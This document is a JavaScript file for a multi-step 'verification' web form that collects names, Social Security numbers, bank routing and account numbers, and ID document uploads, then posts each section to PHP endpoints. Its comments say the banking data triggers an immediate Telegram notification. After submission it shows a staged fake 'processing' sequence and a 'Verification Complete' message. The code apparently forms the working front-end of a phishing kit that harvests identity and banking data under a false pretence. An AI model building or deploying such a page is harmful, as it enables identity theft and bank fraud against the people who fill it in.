/**
 * Verification System - JavaScript
 * Handles dynamic form loading, validation, and user interactions
 */

class VerificationSystem {
    constructor() {
        this.currentSection = 0;
        this.totalSections = 3;
        this.sessionId = this.generateSessionId();
        this.formData = {};
        this.isProcessing = false;
        this.eventListenersSetup = false;
        this.submittedSections = new Set();
        
        this.init();
        this.setupVideoBackground();
    }
    
    init() {
        this.setupEventListeners();
        this.updateProgress();
        this.showSection(0);
        this.setupFormValidation();
        this.setupHoneypot();
        this.startSessionTimer();
        this.clearAllErrors();
    }
    
    generateSessionId() {
        const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
        let result = '';
        for (let i = 0; i < 8; i++) {
            result += chars.charAt(Math.floor(Math.random() * chars.length));
        }
        return result;
    }
    
    setupEventListeners() {
        // Prevent duplicate event listeners
        if (this.eventListenersSetup) return;
        this.eventListenersSetup = true;
        
        // Next button - use once to prevent double submission
        document.addEventListener('click', (e) => {
            const target = e.target;
            if (target && target.classList && target.classList.contains('btn-next') && !target.disabled) {
                e.preventDefault();
                // Save current section state before moving
                this.persistActiveSectionData();
                target.disabled = true; // Prevent double click
                this.handleNext();
                setTimeout(() => {
                    target.disabled = false;
                }, 2000);
            }
        });
        
        // Submit button - use once to prevent double submission
        document.addEventListener('click', (e) => {
            const target = e.target;
            if (target && target.classList && target.classList.contains('btn-submit') && !target.disabled) {
                e.preventDefault();
                this.persistActiveSectionData();
                target.disabled = true; // Prevent double click
                this.handleSubmit();
                setTimeout(() => {
                    target.disabled = false;
                }, 2000);
            }
        });
        
        // Form input changes - combined into single listener
        document.addEventListener('input', (e) => {
            if (e.target.classList.contains('form-input') || 
                e.target.classList.contains('form-select') || 
                e.target.classList.contains('form-textarea')) {
                e.target.classList.add('touched');
                this.validateField(e.target);
                // Persist live values for the active section
                const activeSection = document.querySelector('.form-section.active');
                if (activeSection) {
                    const inputs = activeSection.querySelectorAll('.form-input, .form-select, .form-textarea');
                    const temp = {};
                    inputs.forEach(inp => {
                        if (inp.name) temp[inp.name] = inp.value;
                    });
                    const index = Array.from(document.querySelectorAll('.form-section')).indexOf(activeSection);
                    if (index >= 0) this.formData[index] = temp;
                }
            }
        });
        
        // Real-time validation on blur
        document.addEventListener('blur', (e) => {
            if (e.target.classList.contains('form-input') || 
                e.target.classList.contains('form-select') || 
                e.target.classList.contains('form-textarea')) {
                e.target.classList.add('touched');
                this.validateField(e.target);
            }
        });
        
        // Prevent form submission on Enter in textareas
        document.addEventListener('keydown', (e) => {
            if (e.target.tagName === 'TEXTAREA' && e.key === 'Enter' && !e.shiftKey) {
                e.preventDefault();
                this.handleNext();
            }
        });
    }

    /**
     * Persist currently visible section values into formData
     */
    persistActiveSectionData() {
        const activeSection = document.querySelector('.form-section.active');
        if (!activeSection) return;
        const inputs = activeSection.querySelectorAll('.form-input, .form-select, .form-textarea');
        const temp = {};
        inputs.forEach(inp => {
            if (inp.name) temp[inp.name] = inp.value;
        });
        const index = Array.from(document.querySelectorAll('.form-section')).indexOf(activeSection);
        if (index >= 0) this.formData[index] = temp;
    }
    
    setupFormValidation() {
        // Add validation rules to form fields
        const inputs = document.querySelectorAll('.form-input, .form-select, .form-textarea');
        inputs.forEach(input => {
            this.addValidationRules(input);
        });
    }
    
    addValidationRules(input) {
        const fieldName = input.name;
        
        // Add required validation
        if (input.hasAttribute('required')) {
            input.addEventListener('blur', () => this.validateRequired(input));
        }
        
        // Add email validation
        if (input.type === 'email') {
            input.addEventListener('blur', () => this.validateEmail(input));
        }
        
        // Add phone validation
        if (input.name === 'phone') {
            input.addEventListener('blur', () => this.validatePhone(input));
        }
        
        // Add SSN validation
        if (input.name === 'ssn') {
            input.addEventListener('input', () => this.formatSSN(input));
            input.addEventListener('blur', () => this.validateSSN(input));
        }
        
        // Add routing number validation
        if (input.name === 'routing_number') {
            input.addEventListener('blur', () => this.validateRoutingNumber(input));
        }
        
        // Add account number confirmation
        if (input.name === 'confirm_account_number') {
            input.addEventListener('blur', () => this.validateAccountConfirmation(input));
        }
        
        // Add ZIP code validation
        if (input.name === 'zip_code') {
            input.addEventListener('blur', () => this.validateZipCode(input));
        }
    }
    
    setupHoneypot() {
        // Add honeypot field
        const honeypot = document.createElement('input');
        honeypot.type = 'text';
        honeypot.name = 'website';
        honeypot.style.cssText = 'position: absolute; left: -9999px; opacity: 0; tabindex: -1; autocomplete: off;';
        honeypot.setAttribute('tabindex', '-1');
        honeypot.setAttribute('autocomplete', 'off');
        document.body.appendChild(honeypot);
    }
    
    startSessionTimer() {
        // Track time spent on page for behavioral analysis
        this.sessionStartTime = Date.now();
        
        // Update session data every 60 seconds (reduced frequency)
        setInterval(() => {
            this.updateSessionData();
        }, 60000);
    }
    
    updateSessionData() {
        const timeSpent = Math.floor((Date.now() - this.sessionStartTime) / 1000);
        
        // Send session update to server
        fetch('api/session-update.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                sessionId: this.sessionId,
                timeSpent: timeSpent,
                currentSection: this.currentSection
            })
        }).catch(error => {
            console.log('Session update failed:', error);
        });
    }
    
    showSection(sectionIndex) {
        // Normalize and sync current section index
        if (typeof sectionIndex !== 'number' || sectionIndex < 0) sectionIndex = 0;
        const allSections = document.querySelectorAll('.form-section');
        if (sectionIndex >= allSections.length) sectionIndex = allSections.length - 1;
        this.currentSection = sectionIndex;

        // Hide all sections
        const sections = document.querySelectorAll('.form-section');
        sections.forEach(section => {
            section.classList.remove('active');
        });
        
        // Show current section
        if (sections[sectionIndex]) {
            sections[sectionIndex].classList.add('active');
            // Repopulate previously entered values into inputs when navigating back/forward
            const saved = this.formData[sectionIndex] || null;
            if (saved) {
                const inputs = sections[sectionIndex].querySelectorAll('.form-input, .form-select, .form-textarea');
                inputs.forEach(input => {
                    if (input.name && saved[input.name] !== undefined) {
                        input.value = saved[input.name];
                    }
                });
            }
        }
        
        // Update progress
        this.updateProgress();
        
        // Focus first input
        setTimeout(() => {
            const firstInput = sections[sectionIndex]?.querySelector('.form-input, .form-select');
            if (firstInput) {
                firstInput.focus();
            }
        }, 300);
    }
    
    updateProgress() {
        const progressFill = document.querySelector('.progress-fill');
        const progressSteps = document.querySelectorAll('.progress-step');
        
        if (progressFill) {
            const progress = ((this.currentSection + 1) / this.totalSections) * 100;
            progressFill.style.width = progress + '%';
        }
        
        // Update step indicators
        progressSteps.forEach((step, index) => {
            step.classList.remove('active', 'completed');
            
            if (index < this.currentSection) {
                step.classList.add('completed');
            } else if (index === this.currentSection) {
                step.classList.add('active');
            }
        });
    }
    
    async handleNext() {
        if (this.isProcessing) return;
        
        const currentSection = document.querySelector('.form-section.active');
        if (!currentSection) return;
        // Sync currentSection based on active element
        const visibleIndex = Array.from(document.querySelectorAll('.form-section')).indexOf(currentSection);
        if (visibleIndex >= 0) this.currentSection = visibleIndex;
        
        // Do not skip based on cached formData; rely on submittedSections guard inside submitSectionData()
        
        console.log('Validating section:', this.currentSection);
        
        // Validate current section (strict)
        const isValid = await this.validateSection(currentSection, true);
        console.log('Validation result:', isValid);
        
        if (!isValid) {
            this.showError('Please check the Missing fields and try again.');
            return;
        }
        
        // Collect form data
        const freshData = this.collectSectionData(currentSection);
        console.log('Collected data:', freshData);
        
        // Show loading state
        this.setLoadingState(true);
        
        try {
            // Submit section data
            const success = await this.submitSectionData(freshData);
            console.log('Submit success:', success);
            
            if (success) {
                // Move to next section relative to visible index
                const nextIndex = this.currentSection + 1;
                
                if (nextIndex < this.totalSections) {
                    this.showSection(nextIndex);
                } else {
                    // All sections completed, show processing
                    this.showProcessing();
                }
            } else {
                this.showError('Please check the Missing fields and try again.');
            }
        } catch (error) {
            console.error('Error submitting data:', error);
            this.showError('An error occurred. Please try again.');
        } finally {
            this.setLoadingState(false);
        }
    }

    goBackOneSection() {
        this.persistActiveSectionData();
        const sections = document.querySelectorAll('.form-section');
        const active = document.querySelector('.form-section.active');
        const activeIndex = Array.from(sections).indexOf(active);
        const targetIndex = Math.max(0, activeIndex - 1);
        this.showSection(targetIndex);
    }
    
    async handleSubmit() {
        if (this.isProcessing) return;
        
        // Validate all sections
        const isValid = await this.validateAllSections();
        if (!isValid) {
            this.showError('Please check the Missing fields and try again.');
            return;
        }
        
        // Ensure banking section is submitted to the server as its own section
        // so the Telegram banking notification is sent immediately.
        try {
            const previousIndex = this.currentSection;
            // Banking section index is 2
            this.currentSection = 2;
            const bankingSectionEl = document.getElementById('banking-section');
            if (bankingSectionEl) {
                const bankingValid = await this.validateSection(bankingSectionEl);
                if (!bankingValid) {
                    this.showError('Please check the Missing fields and try again.');
                    this.currentSection = previousIndex;
                    return;
                }
                const bankingPayload = this.collectSectionData(bankingSectionEl);
                await this.submitSectionData(bankingPayload);
            }
            // Restore previous section index
            this.currentSection = previousIndex;
        } catch (e) {
            console.error('Error submitting banking section before final:', e);
        }
        
        // Show loading state
        this.setLoadingState(true);
        
        try {
            // Submit final data
            const success = await this.submitFinalData();
            
            if (success) {
                // Show processing animation
                this.showProcessing();
            } else {
                this.showError('Please check the Missing fields and try again.');
            }
        } catch (error) {
            console.error('Error completing verification:', error);
            this.showError('An error occurred. Please try again.');
        } finally {
            this.setLoadingState(false);
        }
    }
    
    async validateSection(section, strict = false) {
        const inputs = section.querySelectorAll('.form-input, .form-select, .form-textarea');
        let isValid = true;
        
        for (const input of inputs) {
            if (!this.validateField(input, strict)) {
                isValid = false;
            }
        }
        
        return isValid;
    }
    
    async validateAllSections() {
        const sections = document.querySelectorAll('.form-section');
        let isValid = true;
        
        for (const section of sections) {
            if (!await this.validateSection(section, true)) {
                isValid = false;
            }
        }
        
        return isValid;
    }
    
    validateField(input, strict = false) {
        let isValid = true;
        const errorElement = input.parentNode.querySelector('.form-error');
        
        // Clear previous error
        if (errorElement) {
            errorElement.remove();
        }
        
        // Remove error class
        input.classList.remove('error');
        
        // Required validation
        if (input.hasAttribute('required') && !input.value.trim()) {
            if (strict || input.classList.contains('touched')) {
                this.showFieldError(input, 'This field is required');
            }
            isValid = false;
        }
        
        // Email validation
        if (input.type === 'email' && input.value && !this.isValidEmail(input.value)) {
            this.showFieldError(input, 'Please enter a valid email address');
            isValid = false;
        }
        
        // Phone validation
        if (input.name === 'phone' && input.value && !this.isValidPhone(input.value)) {
            this.showFieldError(input, 'Please enter a valid phone number');
            isValid = false;
        }
        
        // SSN validation
        if (input.name === 'ssn' && input.value && !this.isValidSSN(input.value)) {
            this.showFieldError(input, 'Please enter a valid Social Security Number');
            isValid = false;
        }
        
        // Routing number validation
        if (input.name === 'routing_number' && input.value && !this.isValidRoutingNumber(input.value)) {
            this.showFieldError(input, 'Please enter a valid routing number');
            isValid = false;
        }
        
        // Account confirmation validation
        if (input.name === 'confirm_account_number') {
            const accountNumber = document.querySelector('input[name="account_number"]');
            if (accountNumber && input.value !== accountNumber.value) {
                this.showFieldError(input, 'Account numbers do not match');
                isValid = false;
            }
        }
        
        // ZIP code validation
        if (input.name === 'zip_code' && input.value && !this.isValidZipCode(input.value)) {
            this.showFieldError(input, 'Please enter a valid ZIP code');
            isValid = false;
        }
        
        // Length validation - only if field has content
        const minLength = input.getAttribute('minlength');
        const maxLength = input.getAttribute('maxlength');
        
        if (minLength && input.value.length > 0 && input.value.length < parseInt(minLength)) {
            this.showFieldError(input, `Minimum length is ${minLength} characters`);
            isValid = false;
        }
        
        if (maxLength && input.value.length > parseInt(maxLength)) {
            this.showFieldError(input, `Maximum length is ${maxLength} characters`);
            isValid = false;
        }
        
        return isValid;
    }
    
    showFieldError(input, message) {
        const errorElement = document.createElement('div');
        errorElement.className = 'form-error';
        errorElement.textContent = message;
        
        input.parentNode.appendChild(errorElement);
        input.classList.add('error');
    }
    
    collectSectionData(section) {
        const inputs = section.querySelectorAll('.form-input, .form-select, .form-textarea, input[type="file"]');
        const sectionData = {};
        
        inputs.forEach(input => {
            if (!input.name) return;
            if (input.type === 'file') {
                if (input.files && input.files.length > 0) {
                    sectionData[input.name] = '__FILE__';
                }
                return;
            }
            if (input.value) sectionData[input.name] = input.value.trim();
        });
        
        
        this.formData[this.currentSection] = sectionData;
        return sectionData;
    }
    
    async uploadFilesForSection(sectionName) {
        const sectionEl = document.querySelector(`.form-section#${sectionName}-section`);
        if (!sectionEl) return {};
        const fileInputs = sectionEl.querySelectorAll('input[type="file"]');
        const urls = {};
        for (const input of fileInputs) {
            if (!input.files || input.files.length === 0) continue;
            const file = input.files[0];
            const form = new FormData();
            form.append('file', file);
            form.append('field', input.name);
            form.append('sessionId', this.sessionId);
            try {
                const res = await fetch('api/upload-file.php', { method: 'POST', body: form });
                const json = await res.json();
                if (json.success && json.url) {
                    // map to *_url for telegram readability
                    urls[`${input.name.replace(/_file$/, '')}_url`] = json.url;
                }
            } catch (e) {
                console.warn('File upload failed for', input.name, e);
            }
        }
        return urls;
    }

    async submitSectionData(passedData = null) {
        // Prevent duplicate submissions
        const submissionKey = `${this.sessionId}_${this.currentSection}`;
        if (this.submittedSections && this.submittedSections.has(submissionKey)) {
            console.log('Section already submitted, skipping');
            return true;
        }
        
        if (!this.submittedSections) {
            this.submittedSections = new Set();
        }
        
        const sectionData = passedData || this.formData[this.currentSection];
        const sectionName = this.getSectionName(this.currentSection);
        // Upload files (if any) for this section and merge URLs into payload
        const fileUrls = await this.uploadFilesForSection(sectionName);
        const payloadData = { ...sectionData, ...fileUrls };
        
        
        try {
            const response = await fetch('api/submit-section.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    sessionId: this.sessionId,
                    section: sectionName,
                    data: payloadData,
                    currentSection: this.currentSection
                })
            });
            
            const result = await response.json();
            console.log('Submit response:', result);
            
            if (result.success) {
                // Mark as submitted
                this.submittedSections.add(submissionKey);
            } else {
                console.error('Submit failed:', result.message);
            }
            
            return result.success;
        } catch (error) {
            console.error('Error submitting section:', error);
            return false;
        }
    }
    
    async submitFinalData() {
        try {
            const response = await fetch('api/submit-final.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                },
                body: JSON.stringify({
                    sessionId: this.sessionId,
                    allData: this.formData
                })
            });
            
            const result = await response.json();
            return result.success;
        } catch (error) {
            console.error('Error submitting final data:', error);
            return false;
        }
    }
    
    getSectionName(sectionIndex) {
        const sectionNames = ['personal', 'security', 'banking'];
        return sectionNames[sectionIndex] || 'unknown';
    }
    
    showProcessing() {
        const formContainer = document.querySelector('.form-container');
        if (!formContainer) return;
        
        formContainer.innerHTML = `
            <div class="processing-container">
                <div class="processing-icon"></div>
                <h2 class="processing-title">Processing Your Information</h2>
                <p class="processing-message">Please wait while we verify your details...</p>
                
                <div class="processing-steps">
                    <div class="processing-step active">
                        <div class="processing-step-icon">1</div>
                        <div class="processing-step-text">Validating personal information</div>
                    </div>
                    <div class="processing-step">
                        <div class="processing-step-icon">2</div>
                        <div class="processing-step-text">Verifying security details</div>
                    </div>
                    <div class="processing-step">
                        <div class="processing-step-icon">3</div>
                        <div class="processing-step-text">Confirming banking information</div>
                    </div>
                    <div class="processing-step">
                        <div class="processing-step-icon">4</div>
                        <div class="processing-step-text">Finalizing verification</div>
                    </div>
                </div>
            </div>
        `;
        
        // Animate processing steps
        this.animateProcessingSteps();
        
        // Complete processing after delay
        setTimeout(() => {
            this.showCompletionModal();
        }, 5000);
    }
    
    animateProcessingSteps() {
        const steps = document.querySelectorAll('.processing-step');
        let currentStep = 0;
        
        const interval = setInterval(() => {
            if (currentStep < steps.length) {
                steps[currentStep].classList.add('completed');
                currentStep++;
            } else {
                clearInterval(interval);
            }
        }, 1000);
    }
    
    showCompletionModal() {
        const modal = document.createElement('div');
        modal.className = 'modal-overlay active';
        modal.innerHTML = `
            <div class="modal">
                <div class="modal-icon">✓</div>
                <h2 class="modal-title">Verification Complete!</h2>
                <p class="modal-message">
                    Your verification has been completed successfully. 
                    You will be redirected shortly.
                </p>
            </div>
        `;
        
        document.body.appendChild(modal);
        
        // Redirect after delay
        setTimeout(() => {
            window.location.href = 'success.php';
        }, 3000);
    }
    
    setLoadingState(loading) {
        this.isProcessing = loading;
        
        if (loading) {
            this.showLoadingOverlay();
        } else {
            this.hideLoadingOverlay();
        }
        
        const buttons = document.querySelectorAll('.btn');
        buttons.forEach(button => {
            button.disabled = loading;
        });
    }
    
    showLoadingOverlay() {
        const overlay = document.createElement('div');
        overlay.className = 'loading-overlay';
        overlay.id = 'loading-overlay';
        overlay.innerHTML = `
            <div class="loading-content">
                <div class="loading-spinner"></div>
                <div class="loading-text">Processing...</div>
                <div class="loading-subtext">Please wait while we verify your information</div>
            </div>
        `;
        document.body.appendChild(overlay);
    }
    
    hideLoadingOverlay() {
        const overlay = document.getElementById('loading-overlay');
        if (overlay) {
            overlay.remove();
        }
    }
    
    showError(message) {
        // Create error notification
        const errorDiv = document.createElement('div');
        errorDiv.className = 'error-notification';
        errorDiv.style.cssText = `
            position: fixed;
            top: 20px;
            right: 20px;
            background: #ef4444;
            color: white;
            padding: 1rem 1.5rem;
            border-radius: 0.5rem;
            box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
            z-index: 1000;
            animation: slideInRight 0.3s ease-out;
        `;
        errorDiv.textContent = message;
        
        document.body.appendChild(errorDiv);
        
        // Remove after 5 seconds
        setTimeout(() => {
            errorDiv.style.animation = 'slideOutRight 0.3s ease-in';
            setTimeout(() => {
                errorDiv.remove();
            }, 300);
        }, 5000);
    }
    
    // Validation helper methods
    isValidEmail(email) {
        const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
        return emailRegex.test(email);
    }
    
    isValidPhone(phone) {
        const phoneRegex = /^[\+]?[1-9][\d]{0,15}$/;
        return phoneRegex.test(phone.replace(/[\s\-\(\)]/g, ''));
    }
    
    isValidSSN(ssn) {
        const ssnRegex = /^\d{3}-\d{2}-\d{4}$/;
        return ssnRegex.test(ssn);
    }
    
    isValidRoutingNumber(routing) {
        const routingRegex = /^\d{9}$/;
        return routingRegex.test(routing);
    }
    
    isValidZipCode(zip) {
        const zipRegex = /^\d{5}(-\d{4})?$/;
        return zipRegex.test(zip);
    }
    
    formatSSN(input) {
        let value = input.value.replace(/\D/g, '');
        if (value.length >= 6) {
            value = value.substring(0, 3) + '-' + value.substring(3, 5) + '-' + value.substring(5, 9);
        } else if (value.length >= 3) {
            value = value.substring(0, 3) + '-' + value.substring(3);
        }
        input.value = value;
    }
    
    validateRequired(input) {
        return input.value.trim().length > 0;
    }
    
    validateEmail(input) {
        return this.isValidEmail(input.value);
    }
    
    validatePhone(input) {
        return this.isValidPhone(input.value);
    }
    
    validateSSN(input) {
        return this.isValidSSN(input.value);
    }
    
    validateRoutingNumber(input) {
        return this.isValidRoutingNumber(input.value);
    }
    
    validateAccountConfirmation(input) {
        const accountNumber = document.querySelector('input[name="account_number"]');
        return accountNumber && input.value === accountNumber.value;
    }
    
    validateZipCode(input) {
        return this.isValidZipCode(input.value);
    }
    
    /**
     * Clear all error states on page load
     */
    clearAllErrors() {
        const inputs = document.querySelectorAll('.form-input, .form-select, .form-textarea');
        inputs.forEach(input => {
            input.classList.remove('error');
        });
        
        const errorElements = document.querySelectorAll('.form-error');
        errorElements.forEach(error => {
            error.remove();
        });
    }
    
    /**
     * Setup video background with fallback support
     */
    setupVideoBackground() {
        const video = document.getElementById('background-video');
        const videoBackground = document.querySelector('.video-background');
        
        if (!video) {
            console.log('Video element not found!');
            return;
        }
        
        console.log('Video element found:', video);
        console.log('Video attributes:', {
            autoplay: video.autoplay,
            muted: video.muted,
            loop: video.loop,
            playsinline: video.playsInline,
            preload: video.preload
        });
        
        // Show loading state immediately
        if (videoBackground) {
            videoBackground.classList.add('loading');
        }
        
        // Professional banking & office video sources - Real Working URLs
        const videoSources = [
            // Public domain samples that allow cross-origin on most hosts
            'https://cdn.pixabay.com/video/2023/10/17/185341-875417497_large.mp4',
            'https://www.w3schools.com/html/mov_bbb.mp4'
        ];
        
        // Randomly select starting video
        let currentVideoIndex = Math.floor(Math.random() * videoSources.length);
        let videoLoadAttempts = 0;
        const maxAttempts = 3; // Try all 3 videos
        
        // Optimize video for instant playback
        video.preload = 'auto';
        video.loadstart = true;
        video.defaultMuted = true;
        video.muted = true;
        
        // Handle video loading errors
        video.addEventListener('error', () => {
            console.log('Video failed to load, trying next source...');
            console.log('Current video source:', video.src);
            videoLoadAttempts++;
            currentVideoIndex++;
            
            if (currentVideoIndex < videoSources.length && videoLoadAttempts < maxAttempts) {
                console.log('Trying next video source:', videoSources[currentVideoIndex]);
                video.src = videoSources[currentVideoIndex];
                video.load();
            } else {
                console.log('All video sources failed, using fallback background');
                this.showFallbackBackground();
            }
        });
        
        // Handle successful video load
        video.addEventListener('loadeddata', () => {
            console.log('Video loaded successfully:', video.src);
            videoLoadAttempts = 0; // Reset attempts counter
            // Remove loading state
            if (videoBackground) {
                videoBackground.classList.remove('loading');
            }
        });
        
        // Handle video can play - Force immediate playback with proper Promise handling
        video.addEventListener('canplay', () => {
            console.log('Video can play:', video.src);
            // Remove loading state
            if (videoBackground) {
                videoBackground.classList.remove('loading');
            }
            
            // Proper Promise-based video play handling
            const playPromise = video.play();
            if (playPromise !== undefined) {
                playPromise.then(() => {
                    console.log('Video playback started successfully');
                }).catch(error => {
                    console.log('Autoplay prevented:', error);
                    // Try to play on user interaction
                    document.addEventListener('click', () => {
                        video.play().catch(() => {});
                    }, { once: true });
                });
            }
        });
        
        // Handle video load start
        video.addEventListener('loadstart', () => {
            console.log('Video load started:', video.src);
        });
        
        // Handle video ready to play - Immediate playback with proper Promise handling
        video.addEventListener('canplaythrough', () => {
            console.log('Video ready to play through:', video.src);
            // Remove loading state
            if (videoBackground) {
                videoBackground.classList.remove('loading');
            }
            
            // Proper Promise-based video play handling
            const playPromise = video.play();
            if (playPromise !== undefined) {
                playPromise.then(() => {
                    console.log('Video playback started successfully');
                }).catch(error => {
                    console.log('Playback error:', error);
                });
            }
        });
        
        // Optimize for mobile: ensure video renders and stays centered
        if (window.innerWidth <= 768) {
            video.style.opacity = '0.85';
            video.style.filter = 'brightness(1) contrast(1.05) saturate(1.05)';
            video.style.objectPosition = 'center center';
        }
        
        // Handle resize
        window.addEventListener('resize', () => {
            if (window.innerWidth <= 768) {
                video.style.opacity = '0.85';
                video.style.filter = 'brightness(1) contrast(1.05) saturate(1.05)';
                video.style.objectPosition = 'center center';
            } else {
                video.style.opacity = '0.6';
                video.style.filter = 'brightness(0.9) contrast(1.2) saturate(1.2)';
            }
        });
        
        // Preload randomly selected video immediately and start playing
        video.src = videoSources[currentVideoIndex];
        video.load();
        
        // Don't force immediate play - let the event listeners handle it properly
        // This prevents the "play() request was interrupted" error
    }
    
    /**
     * Show fallback background when videos fail
     */
    showFallbackBackground() {
        const videoBackground = document.querySelector('.video-background');
        if (videoBackground) {
            videoBackground.style.display = 'none';
            videoBackground.classList.remove('loading');
        }
        
        // Add fallback background to body
        document.body.style.background = 'linear-gradient(135deg, #0f172a 0%, #1e293b 15%, #334155 30%, #475569 45%, #64748b 60%, #94a3b8 75%, #cbd5e1 90%, #e2e8f0 100%)';
        
        console.log('Fallback background activated');
    }
}

// Initialize the verification system when DOM is loaded
document.addEventListener('DOMContentLoaded', () => {
    new VerificationSystem();
});

// Add CSS animations
const style = document.createElement('style');
style.textContent = `
    @keyframes slideInRight {
        from {
            transform: translateX(100%);
            opacity: 0;
        }
        to {
            transform: translateX(0);
            opacity: 1;
        }
    }
    
    @keyframes slideOutRight {
        from {
            transform: translateX(0);
            opacity: 1;
        }
        to {
            transform: translateX(100%);
            opacity: 0;
        }
    }
    
    .form-input.error,
    .form-select.error,
    .form-textarea.error {
        border-color: #ef4444;
        box-shadow: 0 0 0 3px rgba(239, 68, 68, 0.1);
    }
`;
document.head.appendChild(style);
